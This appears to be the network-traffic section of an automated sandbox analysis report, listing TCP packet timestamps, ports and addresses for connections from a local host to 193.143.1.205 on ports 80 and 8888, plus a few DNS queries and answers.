Jan 10, 2025 18:10:58.084599972 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.084613085 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.084625959 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.084666014 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.084680080 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.089349985 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.089364052 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.089405060 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.089411974 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.089420080 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.089432001 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.089446068 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.089473009 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.089493036 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.094106913 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.094120026 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.094130993 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.094149113 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.094166994 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.094191074 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.098874092 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.098889112 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.098901987 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.098918915 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.098933935 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.098961115 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.103614092 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.103627920 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.103640079 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.103653908 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.103667021 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.103666067 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.103678942 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.103694916 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.103718996 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.108467102 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.108480930 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.108493090 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.108505964 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.108542919 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.108557940 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.113236904 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.113250017 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.113262892 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.113276005 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.113292933 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.113322973 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.117964029 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.117976904 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.117995977 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.118009090 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.118020058 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.118063927 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.118063927 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.122725964 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.122778893 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.122791052 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.122802973 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.122817993 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.122840881 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.127486944 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.127504110 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.127521992 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.127532959 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.127535105 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.127541065 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.127558947 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.127610922 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.132221937 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.132237911 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.132247925 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.132260084 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.132272005 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.132319927 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.136976957 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.136991024 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.137001991 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.137016058 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.137026072 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.137037039 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.137058020 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.141798973 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.141813040 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.141824961 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.141838074 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.141866922 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.141887903 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.146522999 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.146538019 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.146548986 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.146563053 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.146574020 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.146579981 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.146599054 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.152378082 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.152393103 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.152405024 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.152416945 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.152448893 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.152508974 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.157068014 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.157092094 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.157098055 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.157104015 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.157109022 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.157136917 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.157177925 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.161776066 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.161789894 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.161854029 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.161941051 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.161953926 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.161966085 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.161978006 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.161988020 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162008047 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162034988 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162048101 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162060022 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162071943 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162084103 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162091017 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162102938 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162106991 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162115097 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162127018 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162137985 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162149906 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162153006 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162175894 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162194014 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162240982 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162254095 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162264109 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162275076 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162292004 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162292004 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162305117 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162306070 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162316084 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162328005 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162339926 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162352085 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162358046 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162364006 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162367105 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162379980 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162381887 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162391901 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162403107 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162405014 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162415028 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162422895 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162426949 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162437916 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162448883 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162458897 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162461996 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162473917 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162478924 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162484884 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162496090 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162508011 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162508965 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162513971 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162528038 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162532091 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162544966 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162556887 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162558079 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162570000 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162575006 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162581921 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162592888 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162599087 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162604094 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162616014 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162626982 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162627935 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162640095 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162645102 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162652969 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162663937 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162663937 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162699938 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162779093 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162791014 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162802935 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162815094 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162838936 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.162935019 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162949085 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162959099 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162971020 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162982941 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.162997007 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.163007975 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.163018942 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.163023949 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.163033962 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.163044930 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.163048029 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.163060904 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.163062096 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.163074017 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.163086891 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.163134098 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.172256947 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172430038 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172440052 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172451019 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172462940 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172475100 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172487974 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172499895 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172512054 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172523975 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172573090 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172576904 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.172576904 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.172578096 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.172578096 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.172631025 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172642946 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172657013 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172667980 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172671080 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.172703028 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.172808886 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172828913 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172841072 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172849894 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.172894955 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.172919989 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172961950 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172974110 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.172988892 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173000097 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173002005 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173032999 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173197985 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173213959 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173219919 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173235893 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173238039 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173249960 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173264027 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173271894 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173296928 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173547983 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173566103 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173578978 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173588991 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173590899 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173607111 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173619032 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173619032 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173646927 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173809052 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173820972 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173839092 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173850060 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173851013 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173870087 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173877001 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173882008 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173888922 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173898935 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173912048 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173923016 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173924923 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173937082 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.173953056 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.173974991 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.174016953 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.174029112 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.174041033 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.174052000 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.174067020 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.174088001 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.174494028 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.183160067 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.196083069 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196089983 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196103096 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196131945 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196139097 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196146965 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196155071 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196182966 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.196224928 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.196250916 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196257114 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196269035 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196284056 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196289062 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196299076 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.196302891 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196310043 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.196331024 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.196352959 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.229895115 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.229983091 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.229984045 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.229990959 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.230006933 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.230012894 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.230026960 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.230032921 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:58.230034113 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.230074883 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:58.277621031 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:59.138144016 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:11:00.064183950 CET	49742	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:11:00.068986893 CET	8888	49742	193.143.1.205	192.168.2.7
Jan 10, 2025 18:11:00.069055080 CET	49742	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:11:00.077946901 CET	49742	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:11:00.082746029 CET	8888	49742	193.143.1.205	192.168.2.7
Jan 10, 2025 18:11:00.887326002 CET	8888	49742	193.143.1.205	192.168.2.7
Jan 10, 2025 18:11:00.927921057 CET	49742	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:11:02.017412901 CET	49742	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:11:08.023729086 CET	62164	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:11:08.023729086 CET	192.168.2.7	1.1.1.1	0xdb0e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:11:08.030949116 CET	1.1.1.1	192.168.2.7	0xdb0e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:11:52.701031923 CET	1.1.1.1	192.168.2.7	0x2549	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:11:52.701031923 CET	1.1.1.1	192.168.2.7	0x2549	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:11:52.701031923 CET	1.1.1.1	192.168.2.7	0x2549	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
